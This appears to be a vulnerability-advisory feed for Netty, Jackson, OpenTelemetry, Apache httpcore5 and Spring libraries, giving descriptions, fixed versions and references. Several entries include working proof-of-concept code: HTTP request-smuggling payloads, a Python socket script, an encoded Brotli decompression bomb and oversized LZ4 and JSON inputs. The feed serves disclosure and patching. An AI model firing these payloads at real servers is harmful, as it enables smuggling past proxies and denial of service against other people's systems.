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Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.

Note:

This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.

PoC

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Infinite loop in the Bzip2Decoder handler's run-length encoding state machine. An attacker can cause the event-loop thread to hang indefinitely by supplying a specially crafted bzip2 stream that triggers an infinite loop during decompression.

Remediation

Upgrade io.netty:netty-codec to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the SpdyFrameCodec pipeline. An attacker can exhaust system resources by sending a small compressed HEADERS block that expands into significantly larger raw header data, leading to excessive CPU and memory allocation.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SpdyHttpDecoder. An attacker can cause native memory exhaustion by sending a client-initiated SYN_STREAM frame with FLAG_FIN=0 followed by a RST_STREAM frame or by exceeding the maximum content length, which leads to unreleased pooled ByteBuf allocations.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the processing of SPDY SETTINGS frames in the SpdyFrameCodec.decode function. An attacker can cause excessive memory allocation and CPU consumption by sending a specially crafted SETTINGS frame with a large number of unique setting IDs, leading to resource exhaustion on the target system.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• NVD

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enqueueMethod() method of HttpServerCodec, which packs the first 32 pipelined HTTP methods into a single long and then appends every further entry to the methodOverflowQueue ArrayDeque<Byte> with no size check. An attacker can exhaust the heap by pipelining a large number of minimal requests such as GET / HTTP/1.1\r\nHost: x\r\n\r\n on a single connection, with the growth coming from the codec's own per-connection bookkeeping rather than from buffered bodies. This requires the attacker to hold the connection open while withholding socket reads, so back pressure leaves responses unflushed and the decoder runs ahead of them, accumulating entries.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.138.Final, 4.2.18.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release
• Red Hat Bugzilla Bug

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the parsing of chunk extensions in HTTP/1.1 messages with chunked encoding. An attacker can bypass HTTP request boundaries by sending specially crafted HTTP requests that exploit differences in how standalone newline characters are parsed between reverse proxies and the backend, potentially allowing them to smuggle additional requests.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.125.Final, 4.2.5.Final or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub Issue
• GitHub PR

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.

PoC

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.

PoC

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.

PoC

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.125.Final or higher.

References

• GitHub Commit
• GitHub Commit

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SslClientHelloHandler.decode() function. An attacker can cause excessive memory allocation by sending a specially crafted TLS handshake with a large handshake length value, leading to resource exhaustion and potential denial of service.

Remediation

Upgrade io.netty:netty-handler to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch through the OpenSSL client path in ReferenceCountedOpenSslClientContext and related OpenSSL SSL context handling. An attacker can present a certificate for a different hostname and have the connection accepted by a client using SslProvider.OPENSSL with a plain X509TrustManager. When hostname verification is requested on that OpenSSL client path, the connection proceeds without enforcing the peer hostname check, allowing man-in-the-middle interception of TLS traffic. This affects applications that rely on Netty’s OpenSSL provider for outbound TLS connections and leaves users exposed to impersonation and data disclosure.

Remediation

Upgrade io.netty:netty-handler to version 4.1.137.Final, 4.2.17.Final or higher.

References

• GitHub Commit netty-4.1.137.Final
• GitHub Commit netty-4.2.17.Final
• Maintainer's Advisory

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in engineGetTrustManagers() and related methods. An attacker can intercept network traffic by providing a malicious X509TrustManager, which bypasses hostname verification during TLS connections.

Remediation

Upgrade io.netty:netty-handler to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the W3CBaggagePropagator() function. An attacker can cause excessive memory allocation and CPU consumption by sending oversized baggage data, which is automatically re-injected into every outgoing request and can impact downstream services.

Remediation

Upgrade io.opentelemetry:opentelemetry-api to version 1.62.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR
• GitHub Release

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to incorrect stream accounting in the handling of server-sent stream resets. An attacker can cause excessive server resource consumption by rapidly opening streams and triggering resets using malformed frames or flow control errors, resulting in the server processing an unbounded number of concurrent streams on a single connection.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.httpcomponents.core5:httpcore5-h2 to version 5.3.5 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• gRPC C++ Issue
• ISC BIND Issue
• Varnish Advisory
• Varnish GitHub Commit

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the NonBlockingUtf8JsonParserBase file. An attacker can exhaust system memory by streaming JSON input in small chunks to the asynchronous parser, causing unbounded accumulation of digit characters in memory due to missing validation of number length during chunked parsing. This can lead to denial of service by overwhelming the application's memory resources.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.4 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the _reportInvalidToken(int, String, String) method of UTF8DataInputJsonParser, which accumulates invalid token characters into a StringBuilder with no check against ErrorReportConfiguration.getMaxErrorTokenLength(), unlike UTF8StreamJsonParser, ReaderBasedJsonParser, and NonBlockingUtf8JsonParserBase, which enforce the 256-character default. An attacker can exhaust the JVM heap by submitting a sufficiently long malformed token, since the whole token is copied into the exception message, where a 20-million-character token produces a 20,000,109-character message against 367 characters on the bounded path. This requires the application to create its parser through JsonFactory.createParser(DataInput), and no configuration constrains the path, since maxDocumentLength does not apply to DataInput sources and maxStringLength does not cover it.

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.7, 3.2.3 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to delayed enforcement of maximum property name length in the ReaderBasedJsonParser process. An attacker can exhaust system memory and cause a crash by submitting a JSON object with an excessively long property name via character-based input sources such as String, Reader, or char[]. This is only exploitable if untrusted JSON is parsed from character-based sources rather than raw UTF-8 bytes.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tools.jackson.core:jackson-core to version 3.1.6, 3.2.2 or higher.

References

• GitHub Advisory
• github.com
• github.com
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the CoreXMLDeserializers.Std._deserialize path in src/main/java/com/fasterxml/jackson/databind/ext/CoreXMLDeserializers.java. An attacker can consume excessive CPU by supplying a JSON string bound to a javax.xml.datatype.Duration or XMLGregorianCalendar field, causing DatatypeFactory.newDuration(value) or newXMLGregorianCalendar(value) to parse arbitrarily long numeric components. This stalls the request-handling thread and can exhaust server CPU under default deserialization settings, denying service to other users.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.6, 3.2.2 or higher.

References

• GitHub Commit
• GitHub PR
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the resolveForwardReference() method of CollectionDeserializer.CollectionReferringAccumulator, and in the corresponding map accumulators, which perform a linear search of the pending accumulator for every resolved object ID. An attacker can consume quadratic CPU and exhaust a request-time or worker-capacity budget by submitting JSON whose N unresolved object-ID references resolve in reverse order, costing roughly N*(N+1)/2 comparisons, measured at 2,003,000 for N=2,000. This requires the application to deserialize attacker-influenced JSON into an identity-enabled collection or map under @JsonIdentityInfo, though it needs no deep nesting or unusual JSON syntax.

Remediation

Upgrade tools.jackson.core:jackson-databind to version 3.1.7, 3.2.3 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Issue

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Improper Input Validation. The protections against Reflected File Download attacks from CVE-2015-5211 may be bypassed depending on the browser used through the use of a jsessionid path parameter.

Remediation

Upgrade org.springframework:spring-web to version 4.3.29.RELEASE, 5.0.19.RELEASE, 5.1.18.RELEASE, 5.2.9.RELEASE or higher.

References

• CVE-2015-5211
• Pivotal Security Advisory

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.

Note:

This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
